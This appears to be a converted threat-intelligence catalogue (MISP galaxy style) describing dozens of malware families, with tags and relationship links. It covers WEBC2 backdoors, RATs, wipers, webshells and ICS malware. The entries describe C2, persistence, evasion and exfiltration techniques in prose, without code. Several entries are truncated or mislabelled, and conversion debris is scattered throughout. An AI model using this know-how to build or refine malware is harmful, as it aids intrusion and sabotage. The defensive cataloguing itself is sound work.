The WARP malware family is an HTTP based backdoor written in C++, and the majority of its code base is borrowed from source code available in the public domain. Network communications are implemented using the same WWW client library (w3c.cpp) available from www.dankrusi.com/file_69653F3336383837.html. The malware has system survey functionality (collects hostname, current user, system uptime, CPU speed, etc.) taken directly from the BO2K backdoor available from www.bo2k.com. It also contains the hard disk identification code found at www.winsim.com/diskid32/diskid32.cpp. When the WARP executing remote commands, the malware creates a copy of the `?%SYSTEMROOT%\system32\cmd.exe` file as `?%USERPROFILE%\Temp\~ISUN32.EXE`. The version signature information of the duplicate executable is zeroed out. Some WARP variants maintain persistence through the use of DLL search order hijacking.
WEBC2-ADSPACE

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware is capable of downloading and executing a file. All variants represented here are the same file with different MD5 signatures. This malware attempts to contact its C2 once a week (Thursday at 10:00 AM). It looks for commands inside a set of HTML tags, part of which are in the File Strings indicator term below.

The tag is: misp-galaxy:tool="WEBC2-ADSPACE"

View relationships graph

WEBC2-ADSPACE has relationships with:

- similar: misp-galaxy:malpedia="WebC2-AdSpace" with estimative-language:likelihood-probability="almost-certain"

WEBC2-AUSOV

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This malware family is a only a downloader which operates over the HTTP protocol with a hard-coded URL. If directed, it has the capability to download, decompress, and execute compressed binaries.

The tag is: misp-galaxy:tool="WEBC2-AUSOV"

View relationships graph

WEBC2-AUSOV has relationships with:

WEBC2-BOLID

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware is a backdoor capable of downloading files and updating its configuration. Communication with the command and control (C2) server uses a combination of single-byte XOR and Base64 encoded data wrapped in standard HTML tags. The malware family installs a registry key as a persistence mechanism.

WEBC2-CLOVER

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The family of malware provides the attacker with an interactive command shell, the ability to upload and download files, execute commands on the system, list processes and DLLs, kill processes, and ping hosts on the local network. Responses to these commands are encrypted and compressed before being POSTed to the server. Some variants copy cmd.exe to Updatasched.exe in a temporary directory, and then may launch that in a process if an interactive shell is called. On initial invocation, the malware also attempts to delete previous copies of the Updatasched.exe file.

The tag is: misp-galaxy:tool="WEBC2-CLOVER"

Table 11839. Table References

**WEBC2-CSON**

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of malware act only as downloaders and droppers for other malware. They communicate with a hard-coded C2 server, reading commands embedded in HTML comment fields. Some variants are executables which act upon execution, others are DLLs which can be attached to services or loaded through search order hijacking.

The tag is: `misp-galaxy:tool="WEBC2-CSON"`

**View relationships graph**

WEBC2-CSON has relationships with:

- similar: `misp-galaxy:malpedia="WebC2-Cson"` with estimative-language:likelihood-probability="almost-certain"

**WEBC2-DIV**

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-DIV variant searches for the strings "div safe:" and "balance" to delimit encoded C2 information. If the decoded string begins with the letter "J" the malware will parse additional arguments in the decoded string to specify the sleep interval to use. WEBC2-DIV is capable of downloading a file, downloading and executing a file, or sleeping a specified interval.

The tag is: `misp-galaxy:tool="WEBC2-DIV"`

**View relationships graph**

WEBC2-DIV has relationships with:

- similar: `misp-galaxy:malpedia="WebC2-DIV"` with estimative-language:likelihood-probability="almost-certain"

</table>
WEBC2-GREENCAT

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This malware is a variant on the GREENCAT family, using a fixed web C2. This family is a full featured backdoor which provides remote command execution, file transfer, process and service enumeration and manipulation. It installs itself persistently through the current user’s registry Run key.

The tag is: `misp-galaxy:tool="WEBC2-GREENCAT"`

View relationships graph

WEBC2-GREENCAT has relationships with:

• similar: `misp-galaxy:malpedia="WebC2-GreenCat"` with `estimative-language:likelihood-probability="almost-certain"`

</tr>
</tbody>
</table>

WEBC2-HEAD

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-HEAD variant communicates over HTTPS, using the system’s SSL implementation to encrypt all communications with the C2 server. WEBC2-HEAD first issues an HTTP GET to the host, sending the Base64-encoded string containing the name of the compromised machine running the malware.

The tag is: `misp-galaxy:tool="WEBC2-HEAD"`

View relationships graph

WEBC2-HEAD has relationships with:

• similar: `misp-galaxy:malpedia="WebC2-Head"` with `estimative-language:likelihood-probability="almost-certain"`

</tbody>
</table>

WEBC2-KT3

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It
expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-KT3 variant searches for commands in a specific comment tag. Network traffic starting with *!Kt3+v| may indicate WEBC2-KT3 activity.

The tag is: \textit{misp-galaxy:tool="WEBC2-KT3"}

View relationships graph

WEBC2-KT3 has relationships with:

\textbf{WEBC2-QBP}

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-QBP variant will search for two strings in a HTML comment. The first will be "2010QBP " followed by " 2010QBP//--". Inside these tags will be a DES-encrypted string.

The tag is: \textit{misp-galaxy:tool="WEBC2-QBP"}

View relationships graph

WEBC2-QBP has relationships with:

\textbf{WEBC2-RAVE}

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware will set itself up as a service and connect out to a hardcoded web page and read a modified base64 string from this webpage. The later versions of this malware supports three commands (earlier ones are just downloaders or reverse shells). The first commands will sleep the malware for N number of hours. The second command will download a binary from the encoded HTML comment and execute it on the infected host. The third will
spawn an encoded reverse shell to an attacker specified location and port.

The tag is: *misp-galaxy:tool="WEBC2-RAVE"

**View relationships graph**

WEBC2-RAVE has relationships with:

- similar: *misp-galaxy:malpedia="WebC2-Rave" with estimative-language:likelihood-probability="almost-certain"

**WEBC2-TOCK**

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-TABLE variant looks for web pages containing 'background', 'align', and 'bgcolor' tags to be present in the requested Web page. If the data in these tags are formatted correctly, the malware will decode a second URL and a filename. This URL is then retrieved, written to the decoded filename and executed.

The tag is: *misp-galaxy:tool="WEBC2-TOCK"
WEBC2-UGX

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of malware provide remote command shell and remote file download and execution capabilities. The malware downloads a web page containing a crafted HTML comment that subsequently contains an encoded command. The contents of this command tell the malware whether to download and execute a program, launch a reverse shell to a specific host and port number, or to sleep for a period of time.

The tag is: misp-galaxy:tool="WEBC2-UGX"

View relationships graph

WEBC2-UGX has relationships with:

• similar: misp-galaxy:malpedia="WebC2-UGX" with estimative-language:likelihood-probability="almost-certain"

WEBC2-Y21K

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of backdoor malware talk to specific Web-based Command & Control (C2) servers. The backdoor has a limited command set, depending on version. It is primarily a downloader, but it classified as a backdoor because it can accept a limited command set, including changing local directories, downloading and executing additional files, sleeping, and connecting to a specific IP & port not initially included in the instruction set for the malware. Each version of the malware has at least one hardcoded URL to which it connects to receive its initial commands. This family of malware installs itself as a service, with the malware either being the executable run by the service, or the service DLL loaded by a legitimate service. The same core code is seen recompiled on different dates or with different names, but the same functionality. Key signatures include a specific set of functions (some of which can be used with the OS-provided rundll32.exe tool to install the malware as a service), and hardcoded strings used in communication with C2 servers to issue commands to the implant.

The tag is: misp-galaxy:tool="WEBC2-Y21K"
WEBC2-YAHOO

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-YAHOO variant enters a loop where every ten minutes it attempts to download a web page that may contain an encoded URL. The encoded URL will be found in the pages returned inside an attribute named ‘sb’ or ‘ex’ within a tag named ‘yahoo’. The embedded link can direct the malware to download and execute files.

The tag is: misp-galaxy:tool="WEBC2-YAHOO"

View relationships graph

WEBC2-YAHOO has relationships with:

• similar: misp-galaxy:malpedia="WebC2-Yahoo" with estimative-language:likelihood-probability="almost-certain"

HAYMAKER

HAYMAKER is a backdoor that can download and execute additional payloads in the form of modules. It also conducts basic victim profiling activity, collecting the computer name, running process IDs, %TEMP% directory path and version of Internet Explorer. It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string.

The tag is: misp-galaxy:tool="HAYMAKER"

HAYMAKER has relationships with:

• similar: misp-galaxy:mitre-malware="ChChes - S0144" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:malpedia="ChChes" with estimative-language:likelihood-probability="likely"

Table 11852. Table References

Links
BUGJUICE

BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. That malicious dll then loads encrypted shellcode from the binary, which is decrypted and runs the final BUGJUICE payload. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell.

QUASARRAT

QUASARRAT is an open-source RAT available at [https://github.com/quasar/QuasarRat](https://github.com/quasar/QuasarRat). The versions used by APT10 (1.3.4.0, 2.0.0.0, and 2.0.0.1) are not available via the public GitHub page, indicating that APT10 has further customized the open source version. The 2.0 versions require a dropper to decipher and launch the AES encrypted QUASARRAT payload. QUASARRAT is a fully functional .NET backdoor that has been used by multiple cyber espionage groups in the past. QUASARRAT is a publicly available Windows backdoor. It may visit a website, download, upload, and execute files. QUASARRAT may acquire system information, act as a remote desktop or shell, or remotely activate the webcam. The backdoor may also log keystrokes and steal passwords from commonly used browsers and FTP clients. QUASARRAT was originally named xRAT before it was renamed by the developers in August 2015. Availability: Public

**da Vinci RCS**

Hacking Team’s "DaVinci" Remote Control System is able, the company says, to break encryption and allow law enforcement agencies to monitor encrypted files and emails (even ones encrypted with PGP), Skype and other Voice over IP or chat communication. It allows identification of the target's location and relationships. It can also remotely activate microphones and cameras on a computer and works worldwide. Hacking Team claims that its software is able to monitor hundreds of thousands of computers at once, all over the country. Trojans are available for Windows, Mac, Linux, iOS, Android, Symbian and Blackberry.

---

**Cardinal RAT**

Palo Alto Networks has discovered a previously unknown remote access Trojan (RAT) that has been active for over two years. It has a very low volume in this two-year period, totaling roughly 27 total samples. The malware is delivered via an innovative and unique technique: a downloader we are calling Carp uses malicious macros in Microsoft Excel documents to compile embedded C# (C Sharp) Programming Language source code into an executable that in turn is run to deploy the Cardinal RAT malware family. These malicious Excel files use a number of different lures, providing evidence of what attackers are using to entice victims into executing them.

Kazuar

Kazuar is a fully featured backdoor written using the .NET Framework and obfuscated using the open source packer called ConfuserEx. Unit 42 researchers have uncovered a backdoor Trojan used in an espionage campaign. The developers refer to this tool by the name Kazuar, which is a Trojan written using the Microsoft .NET Framework that offers actors complete access to compromised systems targeted by its operator. Kazuar includes a highly functional command set, which includes the ability to remotely load additional plugins to increase the Trojan's capabilities. During our analysis of this malware we uncovered interesting code paths and other artifacts that may indicate a Mac or Unix variant of this same tool also exists. Also, we discovered a unique feature within Kazuar: it exposes its capabilities through an Application Programming Interface (API) to a built-in webserver. We suspect the Kazuar tool may be linked to the Turla threat actor group (also known as Uroboiros and Snake), who have been reported to have compromised embassies, defense
contractors, educational institutions, and research organizations across the globe. A hallmark of Turla operations is iterations of their tools and code lineage in Kazuar can be traced back to at least 2005. If the hypothesis is correct and the Turla threat group is using Kazuar, we believe they may be using it as a replacement for Carbon and its derivatives. Of the myriad of tools observed in use by Turla Carbon and its variants were typically deployed as a second stage backdoor within targeted environments and we believe Kazuar may now hold a similar role for Turla operations.

**KONNI**

Talos has discovered an unknown Remote Administration Tool that we believe has been in use for over 3 years. During this time it has managed to avoid scrutiny by the security community. The current version of the malware allows the operator to steal files, keystrokes, perform screenshots,
and execute arbitrary code on the infected host. Talos has named this malware KONNI. Throughout the multiple campaigns observed over the last 3 years, the actor has used an email attachment as the initial infection vector. They then use additional social engineering to prompt the target to open a .scr file, display a decoy document to the users, and finally execute the malware on the victim’s machine. The malware infrastructure of the analysed samples was hosted by a free web hosting provider: 000webhost. The malware has evolved over time. In this article, we will analyse this evolution:

NOKKI

Beginning in early 2018, Unit 42 observed a series of attacks using a previously unreported malware family, which we have named ‘NOKKI’. The malware in question has ties to a previously reported malware family named KONNI, however, after careful consideration, we believe enough differences are present to introduce a different malware family name. To reflect the close relationship with KONNI, we chose NOKKI, swapping KONNI’s Ns and Ks. Because of code overlap found within both malware families, as well as infrastructure overlap, we believe the threat actors responsible for KONNI are very likely also responsible for NOKKI. Previous reports stated it was likely KONNI had been in use for over three years in multiple campaigns with a heavy interest in the Korean peninsula and surrounding areas. As of this writing, it is not certain if the KONNI or NOKKI operators are related to known adversary groups operating in the regions of interest, although there is evidence of a tenuous relationship with a group known as Reaper.

CowerSnail

CowerSnail was compiled using Qt and linked with various libraries. This framework provides benefits such as cross-platform capability and transferability of the source code between different operating systems.

The tag is: \textit{misp-galaxy:tool=“CowerSnail”}

Table 11904. Table References

Svpeng

In mid-July 2017, we found a new modification of the well-known mobile banking malware family Svpeng – Trojan-Banker.AndroidOS.Svpeng.ae. In this modification, the cybercriminals have added new functionality: it now also works as a keylogger, stealing entered text through the use of accessibility services.

The tag is: \textit{misp-galaxy:tool=“Svpeng”}

Svpeng is also known as:

- trojan-banker.androidos.svpeng.ae
TwoFace

While investigating a recent security incident, Unit 42 found a webshell that we believe was used by the threat actor to remotely access the network of a targeted Middle Eastern organization. The construction of the webshell was interesting by itself, as it was actually two separate webshells: an initial webshell that was responsible for saving and loading the second fully functional webshell. It is this second webshell that enabled the threat actor to run a variety of commands on the compromised server. Due to these two layers, we use the name TwoFace to track this webshell. During our analysis, we extracted the commands executed by the TwoFace webshell from the server logs on the compromised server. Our analysis shows that the commands issued by the threat actor date back to June 2016; this suggests that the actor had access to this shell for almost an entire year. The commands issued show the actor was interested in gathering credentials from the compromised server using the Mimikatz tool. We also saw the attacker using the TwoFace webshell to move laterally through the network by copying itself and other webshells to other servers.

The tag is: misp-galaxy:tool="TwoFace"

IntrudingDivisor

Like TwoFace, the IntrudingDivisor webshell requires the threat actor to authenticate before issuing commands. To authenticate, the actor must provide two pieces of information, first an integer that is divisible by 5473 and a string whose MD5 hash is “9A26A0E7B88940DAA84FC4D5E6C61AD0”. Upon successful authentication, the webshell has a
command handler that uses integers within the request to determine the command to execute - To complete

**ShadowPad**

ShadowPad is a modular cyber-attack platform that attackers deploy in victim networks to gain flexible remote control capabilities. The platform is designed to run in two stages. The first stage is a shellcode that was embedded in a legitimate nssock2.dll used by Xshell, Xmanager and other software packages produced by NetSarang. This stage is responsible for connecting to “validation” command and control (C&C) servers and getting configuration information including the location of the real C&C server, which may be unique per victim. The second stage acts as an orchestrator for five main modules responsible for C&C communication, working with the DNS protocol, loading and injecting additional plugins into the memory of other processes.

The tag is: misp-galaxy:tool="ShadowPad"

ShadowPad is also known as:
POISONPLUG

Silence

In September 2017, we discovered a new targeted attack on financial institutions. Victims are mostly Russian banks but we also found infected organizations in Malaysia and Armenia. The attackers were using a known but still very effective technique for cybercriminals looking to make money: gaining persistent access to an internal banking network for a long period of time, making video recordings of the day to day activity on bank employees’ PCs, learning how things works in their target banks, what software is being used, and then using that knowledge to steal as much money as possible when ready. We saw that technique before in Carbanak, and other similar cases worldwide. The infection vector is a spear-phishing email with a malicious attachment. An interesting point in the Silence attack is that the cybercriminals had already compromised banking infrastructure in order to send their spear-phishing emails from the addresses of real bank employees and look as unsuspicious as possible to future victims.

SSHDoor

The Secure Shell Protocol (SSH) is a very popular protocol used for secure data communication. It is widely used in the Unix world to manage remote servers, transfer files, etc. The modified SSH daemon described here, Linux/SSHDoor.A, is designed to steal usernames and passwords and allows remote access to the server via either an hardcoded password or SSH key.
TRISIS

(Dragos Inc.) The team identifies this malware as TRISIS because it targets Schneider Electric's Triconex safety instrumented system (SIS) enabling the replacement of logic in final control elements. TRISIS is highly targeted and likely does not pose an immediate threat to other Schneider Electric customers, let alone other SIS products. (FireEye Inc.) This malware, which we call TRITON, is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. We have not attributed the incident to a threat actor, though we believe the activity is consistent with a nation state preparing for an attack. TRITON is one of a limited number of publicly identified malicious software families targeted at industrial control systems (ICS). It follows Stuxnet which was used against Iran in 2010 and Industroyer which we believe was deployed by Sandworm Team against Ukraine in 2016.

The tag is: misp-galaxy:tool="TRISIS"

TRISIS is also known as:

- TRITON

CUTLET MAKER

Cutlet Maker is an ATM malware designed to empty the machine of all its banknotes. Interestingly, while its authors have been advertising its sale, their competitors have already cracked the program, allowing anybody to use it for free.
Satori

According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants. Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot. The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869. Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.

The tag is: *misp-galaxy:tool=*"Satori"

Satori is also known as:

**Ratankba**

In one instance we observed, one of the initial malware delivered to the victim, RATANKBA, connects to a legitimate but compromised website from which a hack tool (nbt_scan.exe) is also downloaded. The domain also serves as one of the campaign's platform for C&C communication. The threat actor uses RATANKBA to survey the lay of the land as it looks into various aspects of the host machine where it has been initially downloaded—the machine that has been victim of the watering hole attack. Information such as the running tasks, domain, shares, user information, if the host has default internet connectivity, and so forth.

Travle
The Travle sample found during our investigation was a DLL with a single exported function (MSOProtect). The malware name Travle was chosen given a string found in early samples of this family: “Travle Path Failed!”. This typo was replaced with correct word “Travel” in newer releases. We believe that Travle could be a successor to the NetTraveler family.

The tag is: misp-galaxy:tool="Travle"

Travle is also known as:

• PYLOT
Digmine

Digmine is coded in AutoIt, and sent to would-be victims posing as a video file but is actually an AutoIt executable script. If the user’s Facebook account is set to log in automatically, Digmine will manipulate Facebook Messenger in order to send a link to the file to the account’s friends. The abuse of Facebook is limited to propagation for now, but it wouldn’t be implausible for attackers to hijack the Facebook account itself down the line. This functionality’s code is pushed from the command-and-control (C&C) server, which means it can be updated.

The tag is: misp-galaxy:tool="Digmine"

TSCookie

TSCookie itself only serves as a downloader. It expands functionality by downloading modules from C&C servers. The sample that was examined downloaded a DLL file which has exfiltrating function among many others (hereafter “TSCookieRAT”). Downloaded modules only runs on memory.

The tag is: misp-galaxy:tool="TSCookie"

Aurora

You probably have heard the recent news about a widespread attack that was carried out using a 0-Day exploit for Internet Explorer as one of the vectors. This exploit is also known as the "Aurora Exploit". The code has recently gone public and it was also added to the Metasploit framework. This exploit was used to deliver a malicious payload, known by the name of Trojan.Hydraq, the main purpose of which was to steal information from the compromised computer and report it back to the attackers. The exploit code makes use of known techniques to exploit a vulnerability that exists in the way Internet Explorer handles a deleted object. The final purpose of the exploit itself is to access an object that was previously deleted, causing the code to reference a memory location over which the attacker has control and in which the attacker dropped his malicious code.

The tag is: `misp-galaxy:tool="Aurora"

Aurora is also known as:

• Hydraq

Cheshire Cat

Oldest Cheshire Cat malware compiled in 2002. It’s a very old family of malware. The time stamps may be forged but the malware does have support for very old operating systems. The 2002 implant retrieves a handle for an asr2892 drives that they never got their hands on. It checks for a NE header which is a header type used before PE headers even existed. References to 16bit or DOS on a non 9x platform. This malware implant IS REALLY for old systems. The malware is for espionage - it’s very carefully made to stay hidden. Newer versions install as icon handler shell extension for .lnk files. Shell in this case means the program manager because windows explorer was not yet a thing. It sets up COM server objects. It looks like it was written in pure C, but made to look like C++. A sensitive implant as well: it checks for all kinds of old MS platforms including Windows NT, win95, win98, winME and more. It checks the patch level as well. A lot of effort was put into adapting this malware to a lot of different operating systems with very granular decision chains.

Neuron

Neuron consists of both client and server components. The Neuron client and Neuron service are written using the .NET framework with some codebase overlaps. The Neuron client is used to infect victim endpoints and extract sensitive information from local client machines. The Neuron server is used to infect network infrastructure such as mail and web servers, and acts as local Command & Control (C2) for the client component. Establishing a local C2 limits interaction with the target network and remote hosts. It also reduces the log footprint of actor infrastructure and enables client interaction to appear more convincing as the traffic is contained within the target network.

The tag is: misp-galaxy:tool="Neuron"

View relationships graph

Neuron has relationships with:

- similar: misp-galaxy:malpedia="Neuron" with estimative-language:likelihood-probability="likely"

Table 11958. Table References
Nautilus

Nautilus is very similar to Neuron both in the targeting of mail servers and how client communications are performed. This malware is referred to as Nautilus due to its embedded internal DLL name “nautilus-service.dll”, again sharing some resemblance to Neuron. The Nautilus service listens for HTTP requests from clients to process tasking requests such as executing commands, deleting files and writing files to disk.

The tag is: misp-galaxy:tool="Nautilus"

View relationships graph

Nautilus has relationships with:

- similar: misp-galaxy:malpedia="Nautilus" with estimative-language:likelihood-probability="likely"

Gamut Botnet

Gamut was found to be downloaded by a Trojan Downloader that arrives as an attachment from a spam email message. The bot installation is quite simple. After the malware binary has been downloaded, it launches itself from its current directory, usually the Windows %Temp% folder and installs itself as a Windows service. The malware utilizes an anti-VM (virtual machine) trick and terminates itself if it detects that it is running in a virtual machine environment. The bot uses INT 03h trap sporadically in its code, an anti-debugging technique which prevents its code from running within a debugger environment. It can also determine if it is being debugged by using the Kernel32 API - IsDebuggerPresent function.

The tag is: misp-galaxy:tool="Gamut Botnet"
CORALDECK

CORALDECK is an exfiltration tool that searches for specified files and exfiltrates them in password protected archives using hardcoded HTTP POST headers. CORALDECK has been observed dropping and using Winrar to exfiltrate data in password protected RAR files as well as WinImage and zip archives.

The tag is: `misp-galaxy:tool="CORALDECK"`

CORALDECK is also known as:

- APT.InfoStealer.Win.CORALDECK

---

**SLOWDRIFT**

SLOWDRIFT is a launcher that communicates via cloud based infrastructure. It sends system information to the attacker command and control and then downloads and executes additional payloads. Lure documents distributing SLOWDRIFT were not tailored for specific victims, suggesting that TEMP.Reaper is attempting to widen its target base across multiple industries and in
the private sector. SLOWDRIFT was seen being deployed against academic and strategic targets in South Korea using lure emails with documents leveraging the HWP exploit. Recent SLOWDRIFT samples were uncovered in June 2017 with lure documents pertaining to cyber crime prevention and news stories. These documents were last updated by the same actor who developed KARAE, POORAIM and ZUMKONG.

RoyalCli

The RoyalCli backdoor appears to be an evolution of BS2005 and uses familiar encryption and encoding routines. The name RoyalCli was chosen by us due to a debugging path left in the binary: 'c:\users\wizard\documents\visual studio 2010\Projects\RoyalCli\Release\RoyalCli.pdb' RoyalCli and BS2005 both communicate with the attacker's command and control (C2) through Internet Explorer (IE) by using the COM interface IWebBrowser2. Due to the nature of the technique, this results in C2 data being cached to disk by the IE process; we'll get to this later.

KillDisk Wiper

KillDisk, along with the multipurpose, cyberespionage-related BlackEnergy, was used in cyberattacks in late December 2015 against Ukraine’s energy sector as well as its banking, rail, and mining industries. The malware has since metamorphosed into a threat used for digital extortion, affecting Windows and Linux platforms. The note accompanying the ransomware versions, like in the case of Petya, was a ruse: Because KillDisk also overwrites and deletes files (and don’t store the encryption keys on disk or online), recovering the scrambled files was out of the question. The new variant we found, however, does not include a ransom note.
The tag is: misp-galaxy:tool="KillDisk Wiper"

**KillDisk Wiper** is also known as:

- KillDisk

UselessDisk

A new MBR bootlocker called DiskWriter, or UselessDisk, has been discovered that overwrites the MBR of a victim’s computer and then displays a ransom screen on reboot instead of booting into Windows. This ransom note asks for $300 in bitcoins in order to gain access to Windows again. Might be a wiper.

The tag is: misp-galaxy:tool="UselessDisk"

UselessDisk is also known as:

- DiskWriter

---

GoScanSSH

During a recent Incident Response (IR) engagement, Talos identified a new malware family that was being used to compromise SSH servers exposed to the internet. This malware, which we have named GoScanSSH, was written using the Go programming language, and exhibited several interesting characteristics. This is not the first malware family that Talos has observed that was written using Go. However, it is relatively uncommon to see malware written in this programming language. In this particular case, we also observed that the attacker created unique malware binaries for each host that was infected with the GoScanSSH malware. Additionally, the GoScanSSH command and control (C2) infrastructure was observed leveraging the Tor2Web proxy service in an attempt to make tracking the attacker-controlled infrastructure more difficult and resilient to...
Rovnix

We recently found that the malware family ROVNIX is capable of being distributed via macro downloader. This malware technique was previously seen in the DRIDEX malware, which was notable for using the same routines. DRIDEX is also known as the successor of the banking malware CRIDEX.

The tag is: misp-galaxy:tool="Rovnix"

Rovnix is also known as:

- ROVNIX

Kwampirs

Once Orangeworm has infiltrated a victim's network, they deploy Trojan.Kwampirs, a backdoor Trojan that provides the attackers with remote access to the compromised computer. When executed, Kwampirs decrypts and extracts a copy of its main DLL payload from its resource section. Before writing the payload to disk, it inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections.

The tag is: misp-galaxy:tool="Kwampirs"
Rubella Macro Builder

A crimeware kit dubbed the Rubella Macro Builder has recently been gaining popularity among members of a top-tier Russian hacking forum. Despite being relatively new and unsophisticated, the kit has a clear appeal for cybercriminals: it’s cheap, fast, and can defeat basic static antivirus detection.

The tag is: `misp-galaxy:tool="Rubella Macro Builder"`

kitty Malware

Researchers at Imperva’s Incapsula said a new piece malware called Kitty leaves a note for cat lovers. It attacks the Drupal content management system (CMS) to illegally mine cryptocurrency Monero.

The tag is: `misp-galaxy:tool="kitty Malware"`

Maikspy

We discovered a malware family called Maikspy — a multi-platform spyware that can steal users’ private data. The spyware targets Windows and Android users, and first posed as an adult game named after a popular U.S.-based adult film actress. Maikspy, which is an alias that combines the name of the adult film actress and spyware, has been around since 2016.

The tag is: `misp-galaxy:tool="Maikspy"`
Huigezi malware

backdoor trojan popular found prevalently in China

The tag is: `misp-galaxy:tool="Huigezi malware"`

FacexWorm

Facebook, Chrome, and cryptocurrency users should be on the lookout for a new malware strain named FacexWorm that infects victims for the purpose of stealing passwords, stealing cryptocurrency funds, running cryptojacking scripts, and spamming Facebook users. This new strain was spotted in late April by Trend Micro researchers and appears to be related to two other Facebook Messenger spam campaigns, one that took place last August, and another one from December 2017, the latter spreading the Digmine malware. Researchers say FacexWorm’s modus operandi is similar to the previous two campaigns, but with the addition of new techniques aimed at cryptocurrency users.

\textbf{BabaYaga}

The group behind BabaYaga —believed to be Russian-speaking hackers— uses this malware to inject sites with special keyboards to drive SEO traffic to hidden pages on compromised sites. These pages are then used to redirect users to affiliate marketing links, where if the user purchases advertised goods, the hackers also make a profit. The malware per-se is comprised of two modules—one that injects the spam content inside the compromised sites, and a backdoor module that gives attackers control over an infected site at any time. The intricacies of both modules are detailed in much more depth in this 26-page report authored by Defiant (formerly known as WordFence), the security firm which dissected the malware’s more recent versions. "[BabaYaga] is relatively well-written, and it demonstrates that the author has some understanding of software development
challenges, like code deployment, performance and management," Defiant researchers say. "It can also infect Joomla and Drupal sites, or even generic PHP sites, but it is most fully developed around Wordpres.

**InvisiMole**

Except for the malware's binary file, very little is known of who's behind it, how it spreads, or in what types of campaigns has this been used.

"Our telemetry indicates that the malicious actors behind this malware have been active at least since 2013, yet the cyber-espionage tool was never analyzed nor detected until discovered by ESET products on compromised computers in Ukraine and Russia," said ESET researcher Zuzana Hromcová, who recently penned an in-depth report about this new threat.

"All infection vectors are possible, including installation facilitated by physical access to the machine," Hromcová added.

Typical to malware used in highly-targeted attacks, the malware has been stripped of most clues that could lead researchers back to its author. With the exception of one file (dating to October 13, 2013), all compilation dates have been stripped and replaced with zeros, giving little clues regarding its timeline and lifespan.

Furthermore, the malware is some clever piece of coding in itself, as it's comprised of two modules, both with their own set of spying features, but which can also help each other in exfiltrating data.

Roaming Mantis

Roaming Mantis malware is designed for distribution through a simple, but very efficient trick based on a technique known as DNS hijacking. When a user attempts to access any website via a compromised router, they will be redirected to a malicious website. For example, if a user were to navigate to www.securelist.com using a web browser, the browser would be redirected to a rogue server which has nothing to do with the security research blog. As long as the browser displays the original URL, users are likely to believe the website is genuine. The web page from the rogue server displays the popup message: To better experience the browsing, update to the latest chrome version.

Olympic Destroyer

The Winter Olympics this year is being held in Pyeongchang, South Korea. The Guardian, a UK Newspaper reported an article that suggested the Olympic computer systems suffered technical issues during the opening ceremony. Officials at the games confirmed some technical issues to non-critical systems and they completed recovery within around 12 hours. Sunday 11th February the Olympic games officials confirmed a cyber attack occurred but did not comment or speculate further. Talos have identified the samples, with moderate confidence, used in this attack. The infection vector is currently unknown as we continue to investigate. The samples identified, however, are not from adversaries looking for information from the games but instead they are aimed to disrupt the games. The samples analysed appear to perform only destructive functionality. There does not appear to be any exfiltration of data. Analysis shows that actors are again favouring legitimate pieces of software as PsExec functionality is identified within the sample. The destructive nature of this malware aims to render the machine unusable by deleting shadow copies, event logs and trying to use PsExec & WMI to further move through the environment. This is something we have witnessed previously with BadRabbit and Nyetya.

DDKONG

